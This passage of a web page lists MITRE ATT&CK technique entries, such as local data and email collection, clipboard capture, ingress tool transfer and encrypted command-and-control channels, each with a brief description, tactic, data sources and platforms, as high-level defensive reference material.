Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre